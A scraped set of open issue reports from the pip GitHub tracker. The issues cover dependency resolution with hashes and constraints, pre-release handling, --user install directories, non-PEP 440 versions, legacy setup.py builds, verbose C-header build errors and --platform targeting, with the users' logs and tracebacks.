    --hash=sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee \
    --hash=sha256:ad9c67312c84def58f3c04504727ca879cb0013b2517c85a9a253f0cb6380c0a \
    --hash=sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d \
    --hash=sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c \
    --hash=sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a \
    # via myst-parser
requests==2.25.0 \
    --hash=sha256:7f1a0b932f4a60a1a65caa4263921bb7d9ee911957e0ae4a23a6dd08185ad5f8 \
    --hash=sha256:e786fa28d8c9154e6a4de5d46a1d921b8749f8b74e28bde23768e5e16eece998 \
    # via sphinx
snowballstemmer==2.0.0 \
    --hash=sha256:209f257d7533fdb3cb73bdbd24f436239ca3b2fa67d56f6ff88e86be08cc5ef0 \
    --hash=sha256:df3bac3df4c2c01363f3dd2cfa78cce2840a79b9f1c2d2de9ce8d31683992f52 \
    # via sphinx
sphinx==3.3.1 \
    --hash=sha256:1e8d592225447104d1172be415bc2972bd1357e3e12fdc76edf2261105db4300 \
    --hash=sha256:d4e59ad4ea55efbb3c05cde3bfc83bfc14f0c95aa95c3d75346fcce186a47960 \
    # via myst-parser
sphinxcontrib-applehelp==1.0.2 \
    --hash=sha256:806111e5e962be97c29ec4c1e7fe277bfd19e9652fb1a4392105b43e01af885a \
    --hash=sha256:a072735ec80e7675e3f432fcae8610ecf509c5f1869d17e2eecff44389cdbc58 \
    # via sphinx
sphinxcontrib-devhelp==1.0.2 \
    --hash=sha256:8165223f9a335cc1af7ffe1ed31d2871f325254c0423bc0c4c7cd1c1e4734a2e \
    --hash=sha256:ff7f1afa7b9642e7060379360a67e9c41e8f3121f2ce9164266f61b9f4b338e4 \
    # via sphinx
sphinxcontrib-htmlhelp==1.0.3 \
    --hash=sha256:3c0bc24a2c41e340ac37c85ced6dafc879ab485c095b1d65d2461ac2f7cca86f \
    --hash=sha256:e8f5bb7e31b2dbb25b9cc435c8ab7a79787ebf7f906155729338f3156d93659b \
    # via sphinx
sphinxcontrib-jsmath==1.0.1 \
    --hash=sha256:2ec2eaebfb78f3f2078e73666b1415417a116cc848b72e5172e596c871103178 \
    --hash=sha256:a9925e4a4587247ed2191a22df5f6970656cb8ca2bd6284309578f2153e0c4b8 \
    # via sphinx
sphinxcontrib-qthelp==1.0.3 \
    --hash=sha256:4c33767ee058b70dba89a6fc5c1892c0d57a54be67ddd3e7875a18d14cba5a72 \
    --hash=sha256:bd9fc24bcb748a8d51fd4ecaade681350aa63009a347a8c14e637895444dfab6 \
    # via sphinx
sphinxcontrib-serializinghtml==1.1.4 \
    --hash=sha256:eaa0eccc86e982a9b939b2b82d12cc5d013385ba5eadcc7e4fed23f4405f77bc \
    --hash=sha256:f242a81d423f59617a8e5cf16f5d4d74e28ee9a66f9e5b637a18082991db5a9a \
    # via sphinx
urllib3==1.26.2 \
    --hash=sha256:19188f96923873c92ccb987120ec4acaa12f0461fa9ce5d3d0772bc965a39e08 \
    --hash=sha256:d8ff90d979214d7b4f8ce956e80f4028fc6860e4431f731ea4a8c08f23f99473 \
    # via requests

# WARNING: The following packages were not pinned, but pip requires them to be
# pinned when the requirements file includes hashes. Consider using the --allow-unsafe flag.
# setuptools
The generated requirements file may be rejected by pip install. See # WARNING lines for details.

$ python -m pip -V                                                           
pip 20.2.3 from ~/.pyenv/versions/3.9.0/lib/python3.9/site-packages/pip (python 3.9)

$ python -m pip --use-feature=2020-resolver install -r myst.in -c myst.txt 
Collecting myst-parser
ERROR: In --require-hashes mode, all requirements must have their versions pinned with ==. These do not:
    myst-parser from https://files.pythonhosted.org/packages/2f/f0/bf66b8c5428dd7352cbc258981dce95fcd3ae63e66aa843f3b0f5986c3ba/myst_parser-0.12.10-py3-none-any.whl#sha256=a5311da4398869e596250d5a93b523735c3beb8bc9d3eba853223c705802043b (from -r myst.in (line 1))
WARNING: You are using pip version 20.2.3; however, version 20.3.1 is available.
You should consider upgrading via the '~/.pyenv/versions/3.9.0/bin/python -m pip install --upgrade pip' command.
```

**Additional information**

Example crash: https://github.com/ansible/pylibssh/pull/157/checks?check_run_id=1511500384#step:9:15.
user: webknjaz
labels: type: enhancement: Improvements to functionality
C: dependency resolution: About choosing which dependencies to install
C: constraint: Dealing with "constraints" (the -c option)
state: awaiting PR: Feature discussed, PR is needed
issue_9227: state: open
title: Improve documentation regarding installing development version when a stable version is not available
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.3.1
* Python version: CPython 3.7.4
* OS: Windows 10

Python is running within MinGW terminal/bash.  PyPI index is managed by Artifactory.

**Description**
According to the [documentation of the install command](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-pre), the `--pre` flag tells pip to:

> Include pre-release and development versions. By default, pip only finds stable versions.

Without using the `--pre` flag, I observed pip install a development version of a package when the only wheels available were development distributions (there was not a stable distribution uploaded to the index server).

**Expected behavior**
pip should have told me there were no stable versions matching my criteria and failed the installation

**How to Reproduce**

```
(testpip)
redacted@mypc MINGW64 /tmp
$ python -m pip install redacted-pkg-name
Looking in indexes: https://artifactory.redacted.com/artifactory/api/pypi/pypi-redacted/simple
Collecting redacted-pkg-name
  Using cached https://artifactory.redacted.com/artifactory/api/pypi/pypi-redacted/redacted-pkg-name/1.0.1.dev20201203212626/redacted_pkg_name-1.0.1.dev20201203212626-py3-none-any.whl (93 kB)
Requirement already satisfied: zeroconf>=0.24.5 in c:\users\redacted\appdata\local\temp\testpip\lib\site-packages (from redacted-pkg-name) (0.28.6)
Requirement already satisfied: ifaddr>=0.1.7 in c:\users\redacted\appdata\local\temp\testpip\lib\site-packages (from zeroconf>=0.24.5->redacted-pkg-name) (0.1.7)
Installing collected packages: redacted-pkg-name
Successfully installed redacted-pkg-name-1.0.1.dev20201203212626
```

**Output**
See above

user: jastich
labels: type: docs: Documentation related
issue_9225: state: open
title: `pip install --user` uses the same directory regardless of architecture
body: I have installed Python 3.9 in both 32 Bit and 64 Bit flavors on Windows 10 20H2. The Python launcher is installed as well.
When I install packages with the `--user` option, the packages are seen by both the 32 and the 64 Bit flavor of Python. That does work for some packages, but not for others.

Example:
After `py -3.9-32 -m pip install --user numpy` the command `py -3.9-32 -m pip list --user` lists numpy as installed but the command `py -3.9-64 -c "import numpy"` will fail.

The reason is obvious: inside the user's home, there is only one packages directory per python version. The naming of that directory does not consider the architecture. For example, on Windows the name of the directory is `C:\\Users\\<username>\\AppData\\Roaming\\Python\\Python39\\site-packages` for both 32 and 64 Bit. On Linux it would be `~/.local/lib/python3.9/site-packages`.

I believe this issue might not be limited to Windows but exists on Linux as well if python is available in 32 and 64 Bit flavors.

The `--user` options seems to be broken to a certain degree. IMHO it should be
* limited to packages that don't contain native libraries, or
* enhanced to install such packages in different folders.

The obvious workaround is to install packages without `--user` only.

user: skoehler
labels: C: user scheme: Handling of packages in user-specific directories
issue_9209: state: open
title: Feature request: ignore extras in constraints files, don't reject them
body: **What's the problem this feature will solve?**

We have some CI pipelines that use the full locked set of project dependencies as a constraints file when installing a subset of the dependencies.

Rejecting extras in constraints files means that we can't do this with the new resolver, we have to pre-process the locked requirements file to remove all the extras declarations.

**Describe the solution you'd like**
Silently ignore extras in constraints files, don't fail the command.

**Alternative Solutions**

The workaround is to run `sed -i 's/\[[^]]*\]//g' constraints.txt` to pre-process a copy of the project requirements file to remove all the extras declarations, rather than using the requirements file directly.

**Additional context**

#6628 was an issue with the old resolver where extras declarations in constraints files were incorrectly interpreted as requesting that those extras be installed. This is *not* a request to bring back that behaviour - instead, it's a request to process constraints files as if they didn't contain any extras declarations, regardless of whether they do or not.

user: ncoghlan
labels: C: constraint: Dealing with "constraints" (the -c option)
type: feature request: Request for a new feature
issue_9188: state: open
title: Improve error message for wheels with non-compliant versions
body: **What did you want to do?**
Our organizational development standards prefer that we include a git/vcs hash in most package version numbers.  In other environments, this has typically not been problematic, however with python, including a hash in the version number is not PEP440 compliant.

Previous versions of pip have difficulty applying logic (e.g. `~=`, `>`) to these version numbers, but as long as we pin a specific package version, installations would work.
```
pip install --extra-index-url https://our.local.package.source/artifactory/simple our-package==0.3.0.f038176.11
```

(apologies, these are internal code and I can't provide a public URL)

**Output**

```
ERROR: Exception:
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 171, in _merge_into_criterion
    crit = self.state.criteria[name]
KeyError: 'our-package'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/cli/base_command.py", line 210, in _main
    status = self.run(options, args)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/cli/req_command.py", line 180, in wrapper
    return func(self, options, args)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/commands/install.py", line 319, in run
    reqs, check_supported_wheels=not options.target_dir
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 122, in resolve
    requirements, max_rounds=try_to_avoid_resolution_too_deep,
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 445, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 310, in resolve
    name, crit = self._merge_into_criterion(r, parent=None)
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 173, in _merge_into_criterion
    crit = Criterion.from_requirement(self._p, requirement, parent)
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/resolvelib/resolvers.py", line 82, in from_requirement
    if not cands:
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/resolvelib/structs.py", line 124, in __bool__
    return bool(self._sequence)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 96, in __bool__
    return any(self)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 20, in _deduplicated_by_version
    for candidate in candidates:
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 203, in iter_index_candidates
    version=ican.version,
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 145, in _make_candidate_from_link
    link, template, factory=self, name=name, version=version,
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 290, in __init__
    wheel_version = Version(wheel.version)
  File "/usr/local/lib/python3.6/site-packages/pip/_vendor/packaging/version.py", line 298, in __init__
    raise InvalidVersion("Invalid version: '{0}'".format(version))
pip._vendor.packaging.version.InvalidVersion: Invalid version: '0.3.0.f038176.11'
```

It appears that when installing from wheel, the package version number is parsed using a regex that only matches PEP 440 compliant version numbers, which fails when given a version number containing a git hash.

**Additional information**
We have found that installing the affected packages from source (by adding `--no-binary our-package` to the pip command line) acts as a workaround.  It is unclear to me why the source installation does not enforce the same version number checks that the binary installation does.
user: bkurtz
labels: C: dependency resolution: About choosing which dependencies to install
type: deprecation: Related to deprecation / removal.
issue_9176: state: open
title: Warn that direct URL will not be recorded when running setup.py install
body: **Environment**
* pip version: 20.2.4
* Python version: 3.7.9
* OS: Windows 10
* Running with Powershell in clean venv

**Description**
I forked a Github repo and made some minor changes.  Then I installed from my own repo with pip, but `pip freeze` is not showing the full URL.

**Expected behavior**
It should show the full URL to the source repo, thanks to #7612.  Some other repos are working correctly like this:
```
pip install git+https://github.com/pypa/packaging
...
pip freeze
GPUtil==1.4.0
packaging @ git+https://github.com/pypa/packaging@69855f324f58d7a421fc1791b7794dfa80cf519d
pyparsing==2.4.7
```

**How to Reproduce**
```
pip install git+https://github.com/llamafilm/gputil
Collecting git+https://github.com/llamafilm/gputil
  Cloning https://github.com/llamafilm/gputil to c:\users\elliott\appdata\local\temp\pip-req-build-gq70gug6
Using legacy 'setup.py install' for GPUtil, since package 'wheel' is not installed.
Installing collected packages: GPUtil
    Running setup.py install for GPUtil ... done
Successfully installed GPUtil-1.4.0

pip freeze
GPUtil==1.4.0
```
user: llamafilm
labels: project: setuptools: Related to setuptools
UX: User experience related
issue_9175: state: open
title: Default to isolated, pyproject.toml-based builds
body: Update on Oct 7 2022: Once `setup.py install` and `setup.py develop` code paths are killed, there is no reason for pip to use the legacy setup.py-based builds by default, other than to avoid the additional overhead of the creation of build environments.

---

Currently if you try to ``pip install`` something that only is provided a "legacy" setuptools only sdist without a ``pyproject.toml``, that will be installed using the "legacy" path unless you explicitly invoke ``--use-pep517``.

This is particularly troublesome in cases where you don't have (or want to have) setuptools installed in the environment, since the legacy path depends on having setuptools preinstalled.

This flag does not affect editable installs in any way, and those still require having setuptools preinstalled in either case.

This seems like it would be a good stepping stone on the way to https://github.com/pypa/pip/issues/6334, since it narrows the cases where we're using the legacy path to just editable installs.

user: dstufft
labels: type: enhancement: Improvements to functionality
UX: User experience related
C: build logic: Stuff related to metadata generation / wheel generation
issue_9154: state: open
title: Sane Error Messages when C-Headers are Missing during install/build
body: ### **What's the problem this feature will solve?**
Whenever a package requires C-headers such as python's own, or cairo.h, or custom C-extensions during build, we get a wall(!) of red in the terminal making it almost impossible to know what went wrong during the build unless you already know this is what happens when headers are missing. It's usually not a problem for me on linux since I almost always have python-dev headers and everything required thanks to apt-get, but on windows this is more of a common issue when wheels are not already provided. 

An outdated example was `pip install pycairo` which required cairo.h to be available, but now they provide nice wheels and this is no longer a problem.


<details>
<summary>Error for missing .h files during 'pip install pygobject' on windows (much shorter, but still verbose for a non-maintainer)</summary>

```yml
Collecting pygobject
  Using cached PyGObject-3.38.0.tar.gz (712 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Requirement already satisfied: pycairo>=1.11.1 in c:\python39\lib\site-packages (from pygobject) (1.20.0)
Building wheels for collected packages: pygobject
  Building wheel for pygobject (PEP 517) ... error
  ERROR: Command errored out with exit status 1:
   command: 'c:\python39\python.exe' 'C:\Users\ErikWG\AppData\Roaming\Python\Python39\site-packages\pip\_vendor\pep517\_in_process.py' build_wheel 'C:\Users\ErikWG\AppData\Local\Temp\tmpdmrjhbdk'
       cwd: C:\Users\ErikWG\AppData\Local\Temp\pip-install-elfiz25y\pygobject
  Complete output (48 lines):
  running bdist_wheel
  running build
  running build_py
  creating build
  creating build\lib.win-amd64-3.9
  creating build\lib.win-amd64-3.9\pygtkcompat
  copying pygtkcompat\generictreemodel.py -> build\lib.win-amd64-3.9\pygtkcompat
  copying pygtkcompat\pygtkcompat.py -> build\lib.win-amd64-3.9\pygtkcompat
  copying pygtkcompat\__init__.py -> build\lib.win-amd64-3.9\pygtkcompat
  creating build\lib.win-amd64-3.9\gi
  copying gi\docstring.py -> build\lib.win-amd64-3.9\gi
  copying gi\importer.py -> build\lib.win-amd64-3.9\gi
  copying gi\module.py -> build\lib.win-amd64-3.9\gi
  copying gi\pygtkcompat.py -> build\lib.win-amd64-3.9\gi
  copying gi\types.py -> build\lib.win-amd64-3.9\gi
  copying gi\_constants.py -> build\lib.win-amd64-3.9\gi
  copying gi\_error.py -> build\lib.win-amd64-3.9\gi
  copying gi\_gtktemplate.py -> build\lib.win-amd64-3.9\gi
  copying gi\_option.py -> build\lib.win-amd64-3.9\gi
  copying gi\_ossighelper.py -> build\lib.win-amd64-3.9\gi
  copying gi\_propertyhelper.py -> build\lib.win-amd64-3.9\gi
  copying gi\_signalhelper.py -> build\lib.win-amd64-3.9\gi
  copying gi\__init__.py -> build\lib.win-amd64-3.9\gi
  creating build\lib.win-amd64-3.9\gi\repository
  copying gi\repository\__init__.py -> build\lib.win-amd64-3.9\gi\repository
  creating build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\Gdk.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\GdkPixbuf.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\GIMarshallingTests.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\Gio.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\GLib.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\GObject.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\Gtk.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\keysyms.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\Pango.py -> build\lib.win-amd64-3.9\gi\overrides
  copying gi\overrides\__init__.py -> build\lib.win-amd64-3.9\gi\overrides
  running build_ext
  pycairo: new API
  pycairo: trying include directory: 'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-build-env-qax2_hoo\\overlay\\Lib\\site-packages\\cairo\\include'
  pycairo: found 'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-build-env-qax2_hoo\\overlay\\Lib\\site-packages\\cairo\\include\\py3cairo.h'
  building 'gi._gi' extension
  creating build\temp.win-amd64-3.9
  creating build\temp.win-amd64-3.9\Release
  creating build\temp.win-amd64-3.9\Release\gi
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPY_SSIZE_T_CLEAN -IC:\Users\ErikWG\AppData\Local\Temp\pip-install-elfiz25y\pygobject -IC:\Users\ErikWG\AppData\Local\Temp\pip-install-elfiz25y\pygobject\gi -Ic:\python39\include -Ic:\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tcgi\gimodule.c /Fobuild\temp.win-amd64-3.9\Release\gi\gimodule.obj -FImsvc_recommended_pragmas.h
  gimodule.c
  gi\gimodule.c: fatal error C1083: Cannot open include file: 'msvc_recommended_pragmas.h': No such file or directory
  error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.27.29110\\bin\\HostX86\\x64\\cl.exe' failed with exit code 2
  ----------------------------------------
  ERROR: Failed building wheel for pygobject
Failed to build pygobject
ERROR: Could not build wheels for pygobject which use PEP 517 and cannot be installed directly
```

</details>

<details>

<summary>Example of how it used to be when installing pycairo. 'pip install pycairo==1.18.0'</summary>

```yml
Collecting pycairo==1.18.0
  Downloading pycairo-1.18.0.tar.gz (202 kB)
     |████████████████████████████████| 202 kB 3.3 MB/s
Building wheels for collected packages: pycairo
  Building wheel for pycairo (setup.py) ... error
  ERROR: Command errored out with exit status 1:
   command: 'c:\python39\python.exe' -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-install-hxu9cf__\\pycairo\\setup.py'"'"'; __file__='"'"'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-install-hxu9cf__\\pycairo\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' bdist_wheel -d 'C:\Users\ErikWG\AppData\Local\Temp\pip-wheel-dn64ap8h'
       cwd: C:\Users\ErikWG\AppData\Local\Temp\pip-install-hxu9cf__\pycairo\
  Complete output (18 lines):
  running bdist_wheel
  running build
  running build_py
  creating build
  creating build\lib.win-amd64-3.9
  creating build\lib.win-amd64-3.9\cairo
  copying cairo\__init__.py -> build\lib.win-amd64-3.9\cairo
  copying cairo\__init__.pyi -> build\lib.win-amd64-3.9\cairo
  copying cairo\py.typed -> build\lib.win-amd64-3.9\cairo
  running build_ext
  building 'cairo._cairo' extension
  creating build\temp.win-amd64-3.9
  creating build\temp.win-amd64-3.9\Release
  creating build\temp.win-amd64-3.9\Release\cairo
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYCAIRO_VERSION_MAJOR=1 -DPYCAIRO_VERSION_MINOR=18 -DPYCAIRO_VERSION_MICRO=0 -Ic:\python39\include -Ic:\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tccairo/bufferproxy.c /Fobuild\temp.win-amd64-3.9\Release\cairo/bufferproxy.obj
  bufferproxy.c
  C:\Users\ErikWG\AppData\Local\Temp\pip-install-hxu9cf__\pycairo\cairo\pycairo.h(37): fatal error C1083: Cannot open include file: 'cairo.h': No such file or directory
  error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.27.29110\\bin\\HostX86\\x64\\cl.exe' failed with exit code 2
  ----------------------------------------
  ERROR: Failed building wheel for pycairo
  Running setup.py clean for pycairo
Failed to build pycairo
Installing collected packages: pycairo
  Attempting uninstall: pycairo
    Found existing installation: pycairo 1.20.0
    Uninstalling pycairo-1.20.0:
      Successfully uninstalled pycairo-1.20.0
    Running setup.py install for pycairo ... error
    ERROR: Command errored out with exit status 1:
     command: 'c:\python39\python.exe' -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-install-hxu9cf__\\pycairo\\setup.py'"'"'; __file__='"'"'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-install-hxu9cf__\\pycairo\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record 'C:\Users\ErikWG\AppData\Local\Temp\pip-record-1pw5y12x\install-record.txt' --single-version-externally-managed --compile --install-headers 'c:\python39\Include\pycairo'
         cwd: C:\Users\ErikWG\AppData\Local\Temp\pip-install-hxu9cf__\pycairo\
    Complete output (18 lines):
    running install
    running build
    running build_py
    creating build
    creating build\lib.win-amd64-3.9
    creating build\lib.win-amd64-3.9\cairo
    copying cairo\__init__.py -> build\lib.win-amd64-3.9\cairo
    copying cairo\__init__.pyi -> build\lib.win-amd64-3.9\cairo
    copying cairo\py.typed -> build\lib.win-amd64-3.9\cairo
    running build_ext
    building 'cairo._cairo' extension
    creating build\temp.win-amd64-3.9
    creating build\temp.win-amd64-3.9\Release
    creating build\temp.win-amd64-3.9\Release\cairo
    C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYCAIRO_VERSION_MAJOR=1 -DPYCAIRO_VERSION_MINOR=18 -DPYCAIRO_VERSION_MICRO=0 -Ic:\python39\include -Ic:\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tccairo/bufferproxy.c /Fobuild\temp.win-amd64-3.9\Release\cairo/bufferproxy.obj
    bufferproxy.c
    C:\Users\ErikWG\AppData\Local\Temp\pip-install-hxu9cf__\pycairo\cairo\pycairo.h(37): fatal error C1083: Cannot open include file: 'cairo.h': No such file or directory
    error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.27.29110\\bin\\HostX86\\x64\\cl.exe' failed with exit code 2
    ----------------------------------------
  Rolling back uninstall of pycairo
  Moving to c:\python39\lib\site-packages\cairo\
   from C:\Python39\Lib\site-packages\~airo
  Moving to c:\python39\lib\site-packages\pycairo-1.20.0.dist-info\
   from C:\Python39\Lib\site-packages\~ycairo-1.20.0.dist-info
ERROR: Command errored out with exit status 1: 'c:\python39\python.exe' -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-install-hxu9cf__\\pycairo\\setup.py'"'"'; __file__='"'"'C:\\Users\\ErikWG\\AppData\\Local\\Temp\\pip-install-hxu9cf__\\pycairo\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record 'C:\Users\ErikWG\AppData\Local\Temp\pip-record-1pw5y12x\install-record.txt' --single-version-externally-managed --compile --install-headers 'c:\python39\Include\pycairo' Check the logs for full command output.
```
</details>

<details>
<summary>The most extreme example I have encountered yet: 'pip install zipline' on windows. (cython/numpy errors for the package's custom C-extensions)</summary>

Error too long to have in a github issue.
See: https://pastebin.com/H4xrQL6a
</details>

Do they really need to be presented this verbosely to the end-user?

### **Describe the solution you'd like**
I am no C-developer and I pretty much don't know anything about C-headers and C/C++ build pipelines, but I suppose that all of these errors come from building a C/C++ project and that the errors are simply piped to the console. Would it not be possible to hold all the logging while executing separate scripts/terminal commands/compilers and then simply have a sane error message if something goes wrong such as `An error occured during execution of third-party build tools` or perhaps even more specific if possible for C-header issues. These enormous walls of text could then only be piped if the pip verbose flag is set.

I totally understand that these verbose messages are perhaps required to debug installation-pipelines from a maintainer's point of view, but as an end-user of packages I always find it a bit scary when thousands of red lines appear during install. Having a simple message like `It appears that C-headers are missing in your environment` would be enough for me as an end-user to consult the installation instructions for each project and/or ask the maintainer.

### **Alternative Solutions**
As I said, I'm no build-pipeline expert and I realize that building for every project is different and that pip is not responsible for all the third-party logging that can occur during an install. I don't know if this is a feature request that should perhaps be directed towards [wheel](https://github.com/pypa/wheel)/[setuptools](https://github.com/pypa/setuptools) develpers or if my proposed solution makes any sense at all. But I do believe that an end-user executing `pip install <package>` shouldn't have to get a wall of red unless perhaps using `--verbose`.

user: EriKWDev
issue_9141: state: open
title: Windows binary being installed with --platform linux_x86_64
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.2.4
* Python version: 3.9.0
* OS: Windows 10

<!-- Feel free to add more information about your environment here -->

`requirements.txt` file:
```
certifi==2020.11.8
chardet==3.0.4
gql==2.0.0
graphql-core==2.3.2
idna==2.10
promise==2.3
requests==2.25.0
requests-aws4auth==1.0.1
Rx==1.6.1
six==1.15.0
urllib3==1.26.2
```

**Description**
I'm trying to bundle a deployment package for Linux from a Windows machine. To do so, I'm running the command:
```
py -m pip install --requirement "requirements.txt" --platform "linux_x86_64" --target "dependencies" --python-version "3.8" --no-deps --upgrade
```

Even though I'm targeting "linux_x86_64", one of the resulting files is `dependencies/bin/chardetect.exe`. If I run the same command on a Linux machine, that file is instead named `dependencies/bin/chardetect`.

**Expected behavior**
Running `pip install` with `--platform "linux_x86_64"` should install dependencies for a Linux system, and not Windows EXEs.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Use the `requirements.txt` file above.
2. Run `py -m pip install --requirement "requirements.txt" --platform "linux_x86_64" --target "dependencies" --python-version "3.8" --no-deps --upgrade`
3. Check the `dependencies/bin/` directory.

**Output**

```
Collecting certifi==2020.11.8
  Using cached certifi-2020.11.8-py2.py3-none-any.whl (155 kB)
Collecting chardet==3.0.4
  Using cached chardet-3.0.4-py2.py3-none-any.whl (133 kB)
Collecting gql==2.0.0
  Using cached gql-2.0.0-py2.py3-none-any.whl (10 kB)
Collecting graphql-core==2.3.2
  Using cached graphql_core-2.3.2-py2.py3-none-any.whl (252 kB)
Collecting idna==2.10
  Using cached idna-2.10-py2.py3-none-any.whl (58 kB)
Collecting promise==2.3
  Using cached promise-2.3.tar.gz (19 kB)
Collecting requests==2.25.0
  Using cached requests-2.25.0-py2.py3-none-any.whl (61 kB)
Collecting requests-aws4auth==1.0.1
  Using cached requests_aws4auth-1.0.1-py2.py3-none-any.whl (29 kB)
Collecting Rx==1.6.1
  Using cached Rx-1.6.1-py2.py3-none-any.whl (179 kB)
Collecting six==1.15.0
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Collecting urllib3==1.26.2
  Using cached urllib3-1.26.2-py2.py3-none-any.whl (136 kB)
Using legacy 'setup.py install' for promise, since package 'wheel' is not installed.
Installing collected packages: certifi, chardet, gql, graphql-core, idna, promise, requests, requests-aws4auth, Rx, six, urllib3
    Running setup.py install for promise ... done
Successfully installed Rx-1.6.1 certifi-2020.11.8 chardet-3.0.4 gql-2.0.0 graphql-core-2.3.2 idna-2.10 promise-2.3 requests-2.25.0 requests-aws4auth-1.0.1 six-1.15.0 urllib3-1.26.2
```

user: KyleKotowick
labels: type: enhancement: Improvements to functionality
